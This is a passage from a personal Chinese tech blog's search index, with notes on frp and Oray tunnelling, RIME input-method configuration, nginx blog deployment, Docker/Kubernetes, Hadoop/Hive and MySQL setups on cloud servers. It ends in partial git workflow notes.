配置为需要从公网访问的内网服务的地址和端口。 remotePort 表示在 frp 服务端监听的端口，访问此端口的流量将被转发到本地服务的相应端口。 启动 frps 和 frpc\n​\t在客户端上要用sudo ./frpc -c frpc.toml，如果不使用sudo代码会出现一些错误。\n​\t可以使用systemd对frps进行管理：\nsudo mkdir -p /etc/frp sudo cp frps.toml /etc/frp sudo cp frps /usr/bin sudo cp systemd/frps.service /usr/lib/systemd/system/ sudo systemctl enable frps sudo systemctl start frps ​\t记得放开防火墙和安全组对应的端口（remotePort, serverPort, dashboard_port）\n参考配置：\n# 客户端配置 [common] server_addr = 服务器ip server_port = 7000 # 与frps.ini的bind_port一致 token = 52010 # 与frps.ini的token一致 # 配置ssh服务 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 # 这个自定义，之后再ssh连接的时候要用 # 配置http服务，可用于小程序开发、远程调试等，如果没有可以不写下面的 [web] type = http local_ip = 127.0.0.1 local_port = 8080 subdomain = test.hijk.pw # web域名 remote_port = 自定义的远程服务器端口，例如8080 通过 SSH 访问内网机器\n使用以下命令通过 SSH 访问内网机器，假设用户名为 test：\nssh -o Port=6000 test@x.x.x.x frp 将请求发送到 x.x.x.x:6000 的流量转发到内网机器的 22 端口。\n注意是服务器的用户名和IP地址。\n参考文章：https://www.cnblogs.com/betterquan/p/11966303.html\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E7%BD%91%E7%BB%9C%E4%B8%8E%E5%AE%89%E5%85%A8/net-frp/","summary":"想法产生 主机一般都放在宿舍内的，想要从其他地方访问宿舍内的服务器非常的不方便，但是又奈何宿舍宽带很难申请公网IP，所以才会想到用内网穿透的方式实现对宿舍内主机的访问。\nnotes 宿舍内都是局域网，连接到的校园网wifi或者宽带分配的IP都会随着重新连接产生变动，所以在此会使用到DDns技术。ddns就是把一个动态变化的IP地址和一个不变的域名绑定在一起，直接访问这个域名就可以实现访问到这个变化的IP地址的作用。 花生壳免费版会赠送一个域名，可以直接实现内网穿透，比较简便； frp适合有一个公网IP，然后通过公网IP的转发实现内网穿透。 在此之前，请确保已经安装openssh-server!!!\n花生壳实现 大致流程\n在花生壳官网上面下载linux版本的客户端； 安装完成之后在终端中输入： sudo phddns start sudo phddns enable sudo phddns status 然后会出现一个SN码，这个SN码就相当于这个主机的ID，然后在花生壳官网上使用SN码进行登录，密码默认是admin\n通过sn登录之后再绑定到注册的花生壳帐号上；再到花生壳内网穿透界面去添加映射，内网地址填127.0.0.1或者是自己的局域网地址好像我都实验成功过。\n都设置好之后可以在映射旁边又一个诊断按钮，可以看是否成功了。\n在进行ssh连接的时候只需要ssh -o 12345 your_name@xxxxxx.xx就行了；\n12345是你的映射上的外网端口，your_name是你的内网的用户名，xxxx.xx是你的域名\n可能会出现的问题 首先请查看官方文档\n第一步的内网服务和花生壳服务器连接不上 你可以phddns status检查一下他是OFFLINE还是ONLINE的状态，遇到OFFLINE就需要重启服务\n等到他变成ONLINE之后，在检查花生壳网站上的最右上角的头像，鼠标悬浮就能看到有一个状态，状态若是离线，但是phddns又是ONLINE，就退出重新登录一下就好了。\n同时可以看看左边边栏上有一个设备管理。\nfrp实现 访问frp的github仓库releases页面：https://github.com/fatedier/frp/releases\nfrp的官方文档：https://gofrp.org/zh-cn/docs/overview/\n通过 SSH 访问内网机器\n步骤 在具有公网 IP 的机器上部署 frps\n部署 frps 并编辑 frps.toml 文件。以下是简化的配置，其中设置了 frp 服务器用于接收客户端连接的端口：\nbindPort = 7000 log_file = /var/log/frps.log 在frps中添加上日志文件的位置/var/log/frps.log，方便查看。\n这里还支持dashboard，prometheus监控等功能。 参考配置：https://cloud.tencent.com/developer/article/1837482\n[common] # frp监听的端口，默认是7000，可以改成其他的 bind_port = 7000 # 授权码，请改成更复杂的 token = 52010 # 这个token之后在客户端会用到 # frp管理后台端口，请按自己需求更改 dashboard_port = 7500 # frp管理后台用户名和密码，请改成自己的 dashboard_user = admin dashboard_pwd = admin enable_prometheus = true # frp日志配置 log_file = /var/log/frps.","title":"内网穿透——frp和花生壳实现从外部网络访问家中主机"},{"content":"参考文章：https://www.cnblogs.com/keatonlao/p/12983158.html\n安装ibus-rime sudo apt-get install ibus-rime 然后在这个窗口选择ibus框架，选择应用。\n在设置-\u0026gt;键盘中添加RIME输入法\n配置中州韵 用户资料夹： ~/.config/ibus/rime/ 共享资料夹： /usr/share/rime-data/ 修改配置 在「用户资料夹」下创建 .yaml 定制文档；比如\ndefault.yaml 的定制文件名为 default.custom.yaml luna_pinyin 的定制文件名为 luna_pinyin.custom.yaml luna_pinyin_simp 的定制文件名为 luna_pinyin_simp.custom.yaml symbols.yaml 的定制文件名为 symbols.custom.yaml rime的应用过程是把/usr/share/rime-data/和*.custom.yaml文件整合到一起，默认为/usr/share/rime-data/中的配置。\n规范为在文件名主体（ID）和 .yaml 之间增加次级扩展名 .custom。定制文档的书写格式为：\npatch: \u0026#34;一级设定项/二级设定项/三级设定项\u0026#34;: 新的设定值 \u0026#34;另一个设定项\u0026#34;: 新的设定值 \u0026#34;再一个设定项\u0026#34;: 新的设定值 \u0026#34;含列表的设定项/@n\u0026#34;: 列表第n个元素新的设定值，从0开始计数 \u0026#34;含列表的设定项/@last\u0026#34;: 列表最后一个元素新的设定值 \u0026#34;含列表的设定项/@before 0\u0026#34;: 在列表第一个元素之前插入新的设定值（不建议在补丁中使用） \u0026#34;含列表的设定项/@after last\u0026#34;: 在列表 \u0026#34;一级设定项/二级设定项/三级设定项\u0026#34;: 新的设定值最后一个元素之后插入新的设定值（不建议在补丁中使用） \u0026#34;含列表的设定项/@next\u0026#34;: 在列表最后一个元素之后插入新的设定值（不建议在补丁中使用） 每次修改配置文件，你需要重新部署来生效。\n应用部署 点击输入法的程序指示器，选择「部署」 点击输入法状态栏上的 ⟲ (Deploy) 按钮。如果找不到状态栏，在终端输入以下命令，可触发自动部署： rm ~/.config/ibus/rime/default.yaml; ibus-daemon -drx 文件结构 ~/.config/ibus/rime ├── build/ ├── default.custom.yaml ├── ibus_rime.custom.yaml ├── installation.yaml ├── luna_pinyin_simp.custom.yaml ├── luna_pinyin_simp.extended.dict.yaml ├── luna_pinyin_simp.userdb/ ├── luna_pinyin.userdb/ ├── sirius.dict.yaml ├── stroke.userdb/ ├── symbols.custom.yaml ├── sync/ ├── terra_pinyin.userdb/ ├── trash/ └── user.yaml default.custom.yaml patch: schema_list:\t# 更改F4出现的选项 - schema: luna_pinyin_simp - schema: luna_pinyin - schema: luna_pinyin_fluency # 更改右shift直接英文上屏 \u0026#34;ascii_composer/switch_key/Shift_R\u0026#34;: commit_code ibus_rime.custom.yaml patch: \u0026#34;style/horizontal\u0026#34;: true # 横向输入 luna_pinyin_simp.custom.yaml patch: punctuator/import_preset: symbols.custom recognizer/patterns/punct: \u0026#39;^/([0-9]0?|[A-Za-z]+)$\u0026#39; ","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E5%B7%A5%E5%85%B7%E9%85%8D%E7%BD%AE/ibus-rime/","summary":"参考文章：https://www.cnblogs.com/keatonlao/p/12983158.html\n安装ibus-rime sudo apt-get install ibus-rime 然后在这个窗口选择ibus框架，选择应用。\n在设置-\u0026gt;键盘中添加RIME输入法\n配置中州韵 用户资料夹： ~/.config/ibus/rime/ 共享资料夹： /usr/share/rime-data/ 修改配置 在「用户资料夹」下创建 .yaml 定制文档；比如\ndefault.yaml 的定制文件名为 default.custom.yaml luna_pinyin 的定制文件名为 luna_pinyin.custom.yaml luna_pinyin_simp 的定制文件名为 luna_pinyin_simp.custom.yaml symbols.yaml 的定制文件名为 symbols.custom.yaml rime的应用过程是把/usr/share/rime-data/和*.custom.yaml文件整合到一起，默认为/usr/share/rime-data/中的配置。\n规范为在文件名主体（ID）和 .yaml 之间增加次级扩展名 .custom。定制文档的书写格式为：\npatch: \u0026#34;一级设定项/二级设定项/三级设定项\u0026#34;: 新的设定值 \u0026#34;另一个设定项\u0026#34;: 新的设定值 \u0026#34;再一个设定项\u0026#34;: 新的设定值 \u0026#34;含列表的设定项/@n\u0026#34;: 列表第n个元素新的设定值，从0开始计数 \u0026#34;含列表的设定项/@last\u0026#34;: 列表最后一个元素新的设定值 \u0026#34;含列表的设定项/@before 0\u0026#34;: 在列表第一个元素之前插入新的设定值（不建议在补丁中使用） \u0026#34;含列表的设定项/@after last\u0026#34;: 在列表 \u0026#34;一级设定项/二级设定项/三级设定项\u0026#34;: 新的设定值最后一个元素之后插入新的设定值（不建议在补丁中使用） \u0026#34;含列表的设定项/@next\u0026#34;: 在列表最后一个元素之后插入新的设定值（不建议在补丁中使用） 每次修改配置文件，你需要重新部署来生效。\n应用部署 点击输入法的程序指示器，选择「部署」 点击输入法状态栏上的 ⟲ (Deploy) 按钮。如果找不到状态栏，在终端输入以下命令，可触发自动部署： rm ~/.config/ibus/rime/default.yaml; ibus-daemon -drx 文件结构 ~/.config/ibus/rime ├── build/ ├── default.","title":"ubuntu输入法RIME中州韵配置ibus-rime"},{"content":"起因 本来博客是一直使用github pages进行部署的，但是国内的github.io太慢了，并且刚好在年末促销买了一台一年的华为云服务器，就想试一试。\n在云服务器上安装nginx sudo apt-get install nginx nginx的常用命令 # 启动 Nginx 服务 sudo systemctl start nginx # 停止 Nginx 服务 sudo systemctl stop nginx # 重新启动 Nginx 服务（用于配置更改后使更改生效） sudo systemctl restart nginx # 重新加载 Nginx 配置文件（不中断服务） sudo systemctl reload nginx # 检查 Nginx 服务的状态 sudo systemctl status nginx # 测试配置文件的正确性（在实际重新加载或重启 Nginx 之前） sudo nginx -t # 显示 Nginx 的版本和配置选项 nginx -v # 设置 Nginx 开机自动启动 sudo systemctl enable nginx # 禁用 Nginx 开机自动启动 sudo systemctl disable nginx # 查看 Nginx 的错误日志（路径可能根据安装和配置有所不同） sudo tail -f /var/log/nginx/error.log # 查看 Nginx 的访问日志（路径可能根据安装和配置有所不同） sudo tail -f /var/log/nginx/access.log 把本地的public/下的文件复制到云服务器上 nginx默认的起始欢迎页面在/var/www/html/index.nginx-debian.html；\n而我们可以把博客的public文件夹放在/var/www/sites/下面，即博客的index在/var/www/sites/public/index.html\n# 本地执行 scp -r public username@hostname:~/mysites ssh username@hostname # 云服务器上 sudo cp -r mysites /var/www/mysites 配置nginx nginx的配置文件在/etc/nginx/site-available/，在这个文件夹下有一个默认的配置文件default。\n把default复制一份，再进行修改。\n主要修改就是sever_name部分，改为自己的域名；同时把root的路径指向包含博客index.html的目录。\nserver { listen 80 default_server; listen [::]:80 default_server; # SSL configuration # # listen 443 ssl default_server; # listen [::]:443 ssl default_server; # # Note: You should disable gzip for SSL traffic. # See: https://bugs.debian.org/773332 # # Read up on ssl_ciphers to ensure a secure configuration. # See: https://bugs.debian.org/765782 # # Self signed certs generated by the ssl-cert package # Don\u0026#39;t use them in a production server! # # include snippets/snakeoil.conf; root /var/www/mysites/public; # Add index.php to the list if you are using PHP index index.html index.htm index.nginx-debian.html; server_name sirius1y.me; location / { # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. try_files $uri $uri/ =404; } # pass PHP scripts to FastCGI server # #location ~ \\.php$ { # include snippets/fastcgi-php.conf; # # # With php-fpm (or other unix sockets): # fastcgi_pass unix:/run/php/php7.4-fpm.sock; # # With php-cgi (or other tcp sockets): # fastcgi_pass 127.0.0.1:9000; #} # deny access to .htaccess files, if Apache\u0026#39;s document root # concurs with nginx\u0026#39;s one # #location ~ /\\.ht { # deny all; #} } 然后使用IP和域名进行访问就OK了。记得启动nginx服务器就是了：sudo systemctl start nginx\n实现自动部署 我想要实现在本地写完笔记之后先把源码上传到dev-hugo上，并且部署到master分支上，同时把public部署到nginx上。\n原来的脚本，实现了前两个功能，并且能够自动添加更改的文件的提交信息。\n# 定义FILES变量 FILES=$(cd /home/yoho/projects/blogs/hugo/content/posts/Notes \u0026amp;\u0026amp; git status --porcelain | awk \u0026#39;{print $2}\u0026#39; | paste -sd, -) # 同步笔记到sirius2alpha/Notes echo ------------------------start---同步笔记到sirius2alpha/Notes------------------------ cd /home/yoho/projects/blogs/hugo/content/posts/Notes git add . git commit -m \u0026#34;update: $FILES\u0026#34; git pull git push echo ------------------------end---同步笔记到sirius2alpha/Notes------------------------ # sync dev-hugo branch echo ------------------------start---sync dev-hugo branch------------------------------ cd /home/yoho/projects/blogs/hugo git add . git commit -m \u0026#34;update: $FILES\u0026#34; git pull git push echo ------------------------end---sync dev-hugo branch------------------------------ # build cd ~/projects/blogs/hugo hugo # master branch only push echo ------------------------start---master branch------------------------------------- cd ~/projects/blogs/hugo/public git add . git commit -m \u0026#34;feat: $FILES\u0026#34; git push origin master echo ------------------------end---master branch------------------------------------- # 部署到 Nginx 服务器，和/etc/nginx/sites-available/mysite中的root一致 NGINX_SERVER_PATH=\u0026#34;/var/www/mysites\u0026#34; # 使用 rsync 同步 public 目录到 Nginx 服务器的相应目录 rsync -av --delete -e \u0026#34;ssh -p 22\u0026#34; ~/projects/blogs/hugo/public/ root@1.94.126.139:$NGINX_SERVER_PATH # 重启 Nginx 服务 ssh root@1.94.126.139 \u0026#34;sudo systemctl reload nginx\u0026#34; rsync -av --delete ~/projects/blogs/hugo/public/ $NGINX_SERVER_PATH 命令的意思是：\nrsync: 这是一个非常强大的文件和目录同步工具，广泛用于备份和镜像目的。 -av: 这是两个选项的组合。 -a 或 --archive 表示启用归档模式，这会保留符号链接、设备、属性、权限、所有权等信息，并且会递归复制目录。 -v 或 --verbose 表示详细模式，会显示关于正在执行的同步操作的更多信息。 --delete: 这个选项会在同步过程中删除目标目录中存在而源目录中不存在的文件。这确保目标目录是源目录的精确镜像，包括移除已经在源目录中被删除的文件。 ~/projects/blogs/hugo/public/: 这是源目录的路径，即 rsync 命令要复制的文件和目录所在的位置。在这个例子中，它指的是 Hugo 网站生成的公共（public）目录。 $NGINX_SERVER_PATH: 这是目标目录的路径，即文件将被同步到的位置。这个变量应该被设置为你的 Nginx 服务器上用于托管网站的目录的路径。例如，它可能是 /var/www/mysite。 总的来说，这个命令将把 ~/projects/blogs/hugo/public/ 目录中的内容同步到 $NGINX_SERVER_PATH 指定的目录中，同时保持文件权限和结构不变，并删除目标目录中那些在源目录不存在的文件。这个命令通常用于确保网站的内容是最新的，同时移除不再需要的文件。\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E5%B7%A5%E4%BD%9C/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%BC%80%E5%8F%91/deploy-blog/","summary":"起因 本来博客是一直使用github pages进行部署的，但是国内的github.io太慢了，并且刚好在年末促销买了一台一年的华为云服务器，就想试一试。\n在云服务器上安装nginx sudo apt-get install nginx nginx的常用命令 # 启动 Nginx 服务 sudo systemctl start nginx # 停止 Nginx 服务 sudo systemctl stop nginx # 重新启动 Nginx 服务（用于配置更改后使更改生效） sudo systemctl restart nginx # 重新加载 Nginx 配置文件（不中断服务） sudo systemctl reload nginx # 检查 Nginx 服务的状态 sudo systemctl status nginx # 测试配置文件的正确性（在实际重新加载或重启 Nginx 之前） sudo nginx -t # 显示 Nginx 的版本和配置选项 nginx -v # 设置 Nginx 开机自动启动 sudo systemctl enable nginx # 禁用 Nginx 开机自动启动 sudo systemctl disable nginx # 查看 Nginx 的错误日志（路径可能根据安装和配置有所不同） sudo tail -f /var/log/nginx/error.","title":"把blog部署到华为云nginx"},{"content":"生成ssh密钥并实现免密登录 docker 安装完成docker后进行检验： 安装k8s 验证kubeadm版本为1.18 在腾讯云中制作为镜像 更改主机名字hostname和hosts 重启之后关闭内存交换 初始化主结点 sudo kubeadm init --apiserver-advertise-address=172.19.16.2 --image-repository=registry.aliyuncs.com/google_containers --service-cidr=10.96.0.0/12 --pod-network-cidr=10.244.0.0/16 mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/config slave加入 sudo kubeadm join 172.19.16.2:6443 --token rthfcd.xkdz1bma0zr0pcf0 \\ --discovery-token-ca-cert-hash sha256:7a255bd0f1a8a7d87bbc9f443bb901426e17f94057fe1a5a7ce4a246ddb2c749 kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml kubectl get pods --all-namespaces kubectl get nodes 创建部署 查看状态 访问前端网站 放开端口30940之后就可以访问前端页面了\n可以通过两个公网IP都能访问得到该网站。\n尝试删除其中一个pod kubectl delete pod frontend-769fbdbdcc-5bkvz 在尝试删除一个front pod之后，可以看到kubernetes系统自动为我们新建了一个frontend的pod\npod扩容 kubectl scale deployment frontend --replicas=5 ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E5%B7%A5%E4%BD%9C/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%BC%80%E5%8F%91/deploy-dockerk8s/","summary":"生成ssh密钥并实现免密登录 docker 安装完成docker后进行检验： 安装k8s 验证kubeadm版本为1.18 在腾讯云中制作为镜像 更改主机名字hostname和hosts 重启之后关闭内存交换 初始化主结点 sudo kubeadm init --apiserver-advertise-address=172.19.16.2 --image-repository=registry.aliyuncs.com/google_containers --service-cidr=10.96.0.0/12 --pod-network-cidr=10.244.0.0/16 mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/config slave加入 sudo kubeadm join 172.19.16.2:6443 --token rthfcd.xkdz1bma0zr0pcf0 \\ --discovery-token-ca-cert-hash sha256:7a255bd0f1a8a7d87bbc9f443bb901426e17f94057fe1a5a7ce4a246ddb2c749 kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml kubectl get pods --all-namespaces kubectl get nodes 创建部署 查看状态 访问前端网站 放开端口30940之后就可以访问前端页面了\n可以通过两个公网IP都能访问得到该网站。\n尝试删除其中一个pod kubectl delete pod frontend-769fbdbdcc-5bkvz 在尝试删除一个front pod之后，可以看到kubernetes系统自动为我们新建了一个frontend的pod\npod扩容 kubectl scale deployment frontend --replicas=5 ","title":"Docker和K8S部署"},{"content":"生成密钥并实现自我登录 sudo apt-get install vim sudo apt-get install openssh-server cd .ssh ssh-keygen -t rsa -C \u0026#34;sirius1y@outlook.com\u0026#34; cat id_rsa.pub \u0026gt; authorized_keys 安装java sudo apt-get install openjdk-8-jre openjdk-8-jdk 检查java是否安装完成 java -version 下载hadoop 网站：https://archive.apache.org/dist/hadoop/common/hadoop-2.7.0/\nwget https://archive.apache.org/dist/hadoop/common/hadoop-2.7.0/hadoop-2.7.0.tar.gz # 解压 sudo tar -zxf hadoop-2.7.0.tar.gz -C /usr/local 修改所有权：\ncd /usr/local sudo mv hadoop-2.7.0/ hadoop sudo chown -R ubuntu ./hadoop 设置JAVA_HOME环境变量 sudo vim ~/.bashrc # 把下面内容添加到末尾 export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64 删除~/.ssh/kown_hosts\n创建镜像之后新建示例\n发现能够存在hadoop\n\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026ndash;创建两台镜像\n取机器的昵称 sudo vim /etc/hostname添加自己的名字\nsudo vim /etc/hosts，这里都是使用的内网IP地址\n重启之后，每台机器的名字都变了\n并且可以通过直接ssh master,ssh slave01的方式直接访问；\n修改master和slaves配置文件 cd /usr/local/hadoop/etc/hadoop/ 修改这些配置文件\n配置文件详情：\nhttps://www.aidac-shu.com/courses/的reference部分\n# slaves slave01 slave02 # core-site.xml \u0026lt;configuration\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;hadoop.tmp.dir\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;/usr/local/hadoop/tmp\u0026lt;/value\u0026gt; \u0026lt;description\u0026gt;Abase for other temporary directories.\u0026lt;/description\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;fs.defaultFS\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;hdfs://master:9000\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;/configuration\u0026gt; # hdfs-site.xml \u0026lt;configuration\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;dfs.replication\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;3\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;/configuration\u0026gt; # mapred-site.xml \u0026lt;configuration\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;mapreduce.framework.name\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;yarn\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;/configuration\u0026gt; # yarn-site.xml \u0026lt;configuration\u0026gt; \u0026lt;!-- Site specific YARN configuration properties --\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;yarn.nodemanager.aux-services\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;mapreduce_shuffle\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;yarn.resourcemanager.hostname\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;master\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;/configuration\u0026gt; 用jps检查java进程执行情况\n启动hadoop /usr/local/hadoop/bin/hdfs namenode -format 在这之后会得到一大串的输出，最后会出现两个0,表示成功执行：\n/usr/local/hadoop/sbin/start-all.sh 刚开始启用这条命令的时候会出现JAVA_HOME没有设置的情况，但是我已经在~/.bashrc中设置了(尝试过在/etc/bash.bashrc也不行)\n原因很有可能是环境变量并没有作用到/usr/local/hadoop中。\n然后我在/usr/local/hadoop/etc/hadoop/hadoop-env.sh中设置了export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64之后（在master和两台slave上都设置）了，在启用命令sbin/start-all.sh就能成功执行。\nHDFS使用 添加HADOOP环境变量 可以把HADOOP的位置/usr/local/hadoop/添加到环境变量中，就可以直接访问hadoop和hdfs了\nexport HADOOP_HOME=/usr/local/hadoop export PATH=$PATH:$HADOOP_HOME/bin 文件操作 在slave01上把文件放入到/中: hdfs dfs -put etc/hadoop/*.xml /\n使用命令hdfs dfs -ls /会列出文件系统/下的所有文件\n在这里演示，在文件系统中先创建一个目录/user/input/，再把文件try.sh放入其中，再进行查看\n需要注意的是，需要在目录创建成功之后再进行put操作，否则只会创建目录，但是不会把文件放入其中的操作。(好奇怪)\n另外，在任何一个结点上创建的文件都会同步到其他几台机器上。\n配置HIVE 下载hive 在master上的主目录上，运行\nwget https://dlcdn.apache.org/hive/hive-1.2.2/apache-hive-1.2.2-bin.tar.gz 解压到主目录下 ubuntu@master:~$ tar -zxvf apache-hive-1.2.2-bin.tar.gz -C ~ 更改名字+更改所有权 # 改名 mv ubuntu@master:~$ ls apache-hive-1.2.2-bin apache-hive-1.2.2-bin.tar.gz hadoop-2.7.0.tar.gz ubuntu@master:~$ mv apache-hive-1.2.2-bin hive ubuntu@master:~$ ls apache-hive-1.2.2-bin.tar.gz hadoop-2.7.0.tar.gz hive # 更改所有权 chown ubuntu@master:~$ sudo chown -R ubuntu ./hive 把hive添加到环境变量中 # ~/.bashrc export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64 export HADOOP_HOME=/usr/local/hadoop export PATH=$PATH:$HADOOP_HOME/bin export HIVE_HOME=/home/ubuntu/hive/ export PATH=$PATH:$HIVE_HOME/bin 完成之后更新 source ~/.bashrc\n运行hive # HiveSQL # 创建数据库 CREATE DATABASE one; # 查看数据库 SHOW DATABASES; # 切换数据库 USE database_name; # 查看该数据库下面的所有表 SHOW TABLES; # 新建表 CREATE TABLE employees( id INT, name STRING, department STRING ); # 插入数据 INSERT INTO TABLE employees (id, name, department) VALUES (1, \u0026#39;Alice\u0026#39;, \u0026#39;IT\u0026#39;); INSERT INTO TABLE employees (id, name, department) VALUES (2, \u0026#39;Bob\u0026#39;, \u0026#39;HR\u0026#39;); INSERT INTO TABLE employees (id, name, department) VALUES (3, \u0026#39;Charlie\u0026#39;, \u0026#39;Finance\u0026#39;); # 查询操作 SELECT * FROM employees; SELECT * FROM employees WHERE department=\u0026#39;IT\u0026#39;; 插入过程中的一些截图，他这个插入还比较麻烦：\n分为了三个部分进行执行。\n查询展示：\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E5%B7%A5%E4%BD%9C/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%BC%80%E5%8F%91/deploy-hadoophive/","summary":"生成密钥并实现自我登录 sudo apt-get install vim sudo apt-get install openssh-server cd .ssh ssh-keygen -t rsa -C \u0026#34;sirius1y@outlook.com\u0026#34; cat id_rsa.pub \u0026gt; authorized_keys 安装java sudo apt-get install openjdk-8-jre openjdk-8-jdk 检查java是否安装完成 java -version 下载hadoop 网站：https://archive.apache.org/dist/hadoop/common/hadoop-2.7.0/\nwget https://archive.apache.org/dist/hadoop/common/hadoop-2.7.0/hadoop-2.7.0.tar.gz # 解压 sudo tar -zxf hadoop-2.7.0.tar.gz -C /usr/local 修改所有权：\ncd /usr/local sudo mv hadoop-2.7.0/ hadoop sudo chown -R ubuntu ./hadoop 设置JAVA_HOME环境变量 sudo vim ~/.bashrc # 把下面内容添加到末尾 export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64 删除~/.ssh/kown_hosts\n创建镜像之后新建示例\n发现能够存在hadoop\n\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026ndash;创建两台镜像\n取机器的昵称 sudo vim /etc/hostname添加自己的名字\nsudo vim /etc/hosts，这里都是使用的内网IP地址","title":"hadoop部署"},{"content":"实验要求 1．在云服务器上启动两个实例(server和client)，并实现在两个实例之间进行SSH免密登录。\n2．在两个实例上安装MySQL，在server上创建数据库和用户，并在Client上远程连接Server的数据库。\n实验步骤 购买两个2核4GB的实例，操作系统为ubuntu20.04 软件更新和安装 sudo apt-get update sudo apt-get install vim sudo apt-get install ssh sudo spt-get install mysql-server SSH免密登录 在clinet端生成密钥，再把公钥添加到本地已认证的密钥中就可以实现本机对自己的免密登录。再把client上面的私钥公钥和已认证的密钥发送到server上，这样就能实现他们的相互免密登录。\nssh-keygen -t rsa -C yuanhao cd ~/.ssh cat id_rsa.pub \u0026gt; authorized_keys scp id_rsa ubuntu@43.132.187.176:~/.ssh/id_rsa scp id_rsa.pub ubuntu@43.132.187.176:~/.ssh/id_rsa.pub scp authorized_keys ubuntu@43.132.187.176:~/.ssh/authorized_keys 之后可以使用cat对authorized_keys进行检查。\nclient连接远程数据库 在server上安装mysql之后对mysql的配置文件进行修改，把绑定的端口从127.0.0.1改为0.0.0.0,以便于来自client的用户进行访问。\n之后在server的mysql中创建用户并赋予权限。\n在server上创建一个数据库db1,然后在client上实现对server的mysql登录，这需要在服务器的安全组里放开3306端口。然后检查是否登陆成功，并且能够看到之前创建的db1.\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E5%B7%A5%E4%BD%9C/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%BC%80%E5%8F%91/deploy-mysql-oncloud/","summary":"实验要求 1．在云服务器上启动两个实例(server和client)，并实现在两个实例之间进行SSH免密登录。\n2．在两个实例上安装MySQL，在server上创建数据库和用户，并在Client上远程连接Server的数据库。\n实验步骤 购买两个2核4GB的实例，操作系统为ubuntu20.04 软件更新和安装 sudo apt-get update sudo apt-get install vim sudo apt-get install ssh sudo spt-get install mysql-server SSH免密登录 在clinet端生成密钥，再把公钥添加到本地已认证的密钥中就可以实现本机对自己的免密登录。再把client上面的私钥公钥和已认证的密钥发送到server上，这样就能实现他们的相互免密登录。\nssh-keygen -t rsa -C yuanhao cd ~/.ssh cat id_rsa.pub \u0026gt; authorized_keys scp id_rsa ubuntu@43.132.187.176:~/.ssh/id_rsa scp id_rsa.pub ubuntu@43.132.187.176:~/.ssh/id_rsa.pub scp authorized_keys ubuntu@43.132.187.176:~/.ssh/authorized_keys 之后可以使用cat对authorized_keys进行检查。\nclient连接远程数据库 在server上安装mysql之后对mysql的配置文件进行修改，把绑定的端口从127.0.0.1改为0.0.0.0,以便于来自client的用户进行访问。\n之后在server的mysql中创建用户并赋予权限。\n在server上创建一个数据库db1,然后在client上实现对server的mysql登录，这需要在服务器的安全组里放开3306端口。然后检查是否登陆成功，并且能够看到之前创建的db1.","title":"在云服务器上部署mysql"},{"content":"第一次全栈开发记录\n简介 这是数据库原理1的课程项目，做的是一个教务网站，功能主要包括：\n学生功能： (1) 选课功能；\n(2) 退课功能；\n(3) 成绩查询功能；\n(4) 课表查询功能。\n教师功能： (1) 查看开课详情；\n(2) 录入学生成绩。\n下面是主要用的技术桟，我在团队中主要负责的时技术选型、前端界面设计、前后端接口设计、数据库部分的设计、团队的代码管理。\n项目设计团队协作部分记录 git团队使用问题（分支管理、常用命令、git commit信息，git stash 本地仓库初始化，连接远程仓库 # 仓库初始化 git init # 设置远程仓库 git remote add origin https://github.com/sirius2alpha/CourseSystem.git # 检查是否设置成功 git remote -v # 输出 # origin\thttps://github.com/sirius2alpha/CourseSystem.git (fetch) # origin\thttps://github.com/sirius2alpha/CourseSystem.git (push) # 获取远程仓库的信息 git fetch origin # 设置远程上游分支 git branch --set-upstream-to=origin/main main # 或者可以采用 git branch -u \u0026lt;remote\u0026gt;/\u0026lt;branch\u0026gt; # 如果出现main分支不存在的情况，则用checkout命令切换到main分支上再继续 git checkout main # 检查上游分支设置 git branch -vv 工作区代码推送到远程仓库上 git add . git commit -m \u0026#34;修改的信息\u0026#34; git pull git push 关于commit提交信息的规范：https://www.conventionalcommits.org/zh-hans/v1.0.0/\n总结：\n\u0026lt;type\u0026gt;(\u0026lt;scope\u0026gt;): 